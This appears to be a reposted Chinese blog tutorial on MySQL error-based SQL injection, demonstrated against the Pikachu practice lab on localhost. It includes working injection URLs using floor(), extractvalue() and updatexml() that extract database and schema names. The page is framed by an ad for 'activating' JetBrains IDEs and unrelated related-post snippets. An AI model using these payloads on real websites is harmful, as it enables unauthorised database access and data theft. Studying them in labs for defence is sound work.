SQL注入-报错注入[通俗易懂]

SQL注入-报错注入[通俗易懂]sql注入之报错注入的演示与介绍

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

目录

一、报错注入的定义

二、利用报错注入的前提

三、报错注入的优缺点

四、构造报错注入的基本步骤

五、常见的报错注入函数

六、报错注入演示(只演示前三个)

 1.利用floor()函数进行报错注入

 (1)获取当前数据库库名 :

 2.利用extractvalue()函数进行报错注入

(1)获取当前数据库库名 

(2)获取所有的数据库库名

(3)使用substr()函数截取所有的数据

3.利用updatexml()函数进行报错注入         

(1)获取当前数据库库名

(2)获取所有数据库库名


一、报错注入的定义

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

二、利用报错注入的前提

1.页面上没有显示位,但是必须有SQL语句执行错误的信息。

三、报错注入的优缺点

1.优点:不需要显示位,如果有显示位建议使用union联合查询。

2.缺点:需要有SQL语句的报错信息。

四、构造报错注入的基本步骤

  1. 构造目标查询语句;
  2. 选择报错注入函数;
  3. 构造报错注入语句;
  4. 拼接报错注入语句;

五、常见的报错注入函数

  1. floor();
  2. extractvalue();
  3. updatexml();
  4. geometrycollection();
  5. multipoint();
  6. polygon();
  7. multipolygon();
  8. linestring();
  9. multilinestring();
  10. exp();

六、报错注入演示(只演示前三个)

 1.利用floor()函数进行报错注入

主要报错原因为:count()+rand()+group_by()导致主键重复。

因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

 (1)获取当前数据库库名 :

http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili'union select 1,count(*) from information_schema.tables group by concat(0x7e,database(),0x7e,floor(rand(0)*2))--+&submit=æ¥è¯¢

查询结果:

SQL注入-报错注入[通俗易懂]

 2.利用extractvalue()函数进行报错注入

extractvalue()函数为MYSQL对XML文档数据进行查询的XPATH函数。

语法: extractValue(xml_document, xpath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,

第二个参数:XPath_string (Xpath格式的字符串);

Xpath定位必须是有效的,否则则会发生错误;所以可以在这个位置植入表达式,做执行后报错

!注意:一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用(可以使用substr());

(1)获取当前数据库库名 

http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili'and extractvalue(1,concat(1,(select database())))--+&submit=æ¥è¯¢

查询结果:

SQL注入-报错注入[通俗易懂]

(2)获取所有的数据库库名

http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili'and extractvalue(1,concat(1,(select group_concat(schema_name)from information_schema.schemata)))--+&submit=æ¥è¯¢

查询结果:

SQL注入-报错注入[通俗易懂]

 由于extractvalue()函数一次性最大只返回32位,所以接下来可以使用substr()函数输入所有的数据

(3)使用substr()函数截取所有的数据

    http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili' and extractvalue(1,concat(1,(select substr((select group_concat(schema_name) from information_schema.schemata),1,20)))) --++&submit=æ¥è¯¢

查询结果:

SQL注入-报错注入[通俗易懂]

3.利用updatexml()函数进行报错注入         

updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

语法:UPDATEXML (xml_document, XPathstring, new_value)。

第一个参数:xml_document,文档名称。

第二个参数:XPathstring (Xpath格式的字符串),做内容定位。

第三个参数:new_value,String格式,替换查找到的符合条件的值。

 !注意:一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用(可以使用substr());

(1)获取当前数据库库名

http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--++&submit=æ¥è¯¢

查询结果:

SQL注入-报错注入[通俗易懂]

 !0x7e为“~”。

(2)获取所有数据库库名

http://localhost/pikachu/vul/sqli/sqli_str.php?name=lili' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--++&submit=æ¥è¯¢

 group_concat()函数表示将数据一次性输出。

查询结果:

SQL注入-报错注入[通俗易懂]

 如果需要上边工具的小伙伴可以私信我

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/187671.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 心血漏洞第二发?SSL v3再曝新漏洞发布预警

    心血漏洞第二发?SSL v3再曝新漏洞发布预警2019独角兽企业重金招聘Python工程师标准>>>…

    2022年7月16日
    9
  • 指针函数与函数指针的用法与区别

    指针函数与函数指针的用法与区别一 区别 1 指针函数 指的就是返回值是指针的函数 本质就是个函数 2 函数指针 指的是指向函数的指针变量 本质就是个指针 二 用法 1 指针函数 int func inta intb 普通函数就是 intfunc inta intb 返回值是 int 而指针函数就是返回值是指针的函数 即返回值是 int 2 函数指针 int func intx inty 这里

    2025年6月19日
    2
  • hashmap put过程面试_面试时问你base在哪儿

    hashmap put过程面试_面试时问你base在哪儿一个HashMap能跟面试官扯上半个小时关注安琪拉的博客1.回复面试领取面试资料2.回复书籍领取技术电子书3.回复交流领取技术电子书前言HashMap应该算是Java后端工程师面试的必问题,因为其中的知识点太多,很适合用来考察面试者的Java基础。开场面试官:你先自我介绍一下吧!安琪拉:我是安琪拉,草丛三婊之一,最强中单(钟馗不服)!哦,不对,串场了,我是**,目…

    2022年8月22日
    5
  • CBOW最强理解_创造之最强C位

    CBOW最强理解_创造之最强C位翻译自:https://iksinc.online/tag/continuous-bag-of-words-cbow/向量空间模型在信息检索中是众所周知的,其中每个文档被表示为向量。矢量分量表示文档中每个单词的权重或重要性。使用余弦相似性度量计算两个文档之间的相似性。尽管对单词使用矢量表示的想法也已经存在了一段时间,但是对于嵌入单词的技术,将单词映射到向量的技术,最近一直在飙升。其中一个驱…

    2022年9月7日
    1
  • linux卸载javajdk_tomcat拒绝连接

    linux卸载javajdk_tomcat拒绝连接–卸载jdk–查看jdk安装包名称rpm-qa|grepjdk–卸载rpm-e`rpm-qa|grepjdk`(或rpm-e加上面rpm-qa|grepjdk显示的结果)–注释或删除环境变量vi/etc/profile#exportJAVA_HOME=/usr/java/jdk1.6.0_20#exportCLASSPATH=.;$…

    2022年9月30日
    3
  • dz搬家 config_global.php 不可写入,傻瓜式Discuz论坛搬家教程

    dz搬家 config_global.php 不可写入,傻瓜式Discuz论坛搬家教程1.首先,数据的备份是很重要的,要明确这一点2.论坛搬家,备份恢复一点也不难,真的,首先不要在心里上被它吓到,dz程序为我们提供了非常便捷的几种方案大致上,搬家的方法有几种:1.第一种方法是通过phpmyadmin导出导入数据,这种方法比较鸡肋,因为超过2M的就上传不上去了,在此不多解释,不推荐2.第二种方法是通过ucenter后台自带备份恢复,这个容易遇到“无法访问该应用的备份接口,请拷贝uce…

    2022年7月25日
    7

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号